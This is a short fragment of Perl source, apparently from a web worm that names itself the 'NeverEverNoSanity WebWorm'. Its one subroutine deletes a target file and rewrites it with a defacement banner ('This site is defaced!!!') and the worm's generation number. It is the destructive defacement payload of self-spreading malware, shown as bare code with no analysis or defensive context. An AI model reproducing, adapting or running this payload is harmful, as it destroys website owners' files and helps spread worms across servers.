sub DoFile($) { my $s = q{ This site is defaced!!!

This site is defaced!!!

NeverEverNoSanity WebWorm generation } . $generation .q{.
}; unlink $_[0]; open OUT, ">$_[0]" or return; print OUT $s; close OUT; }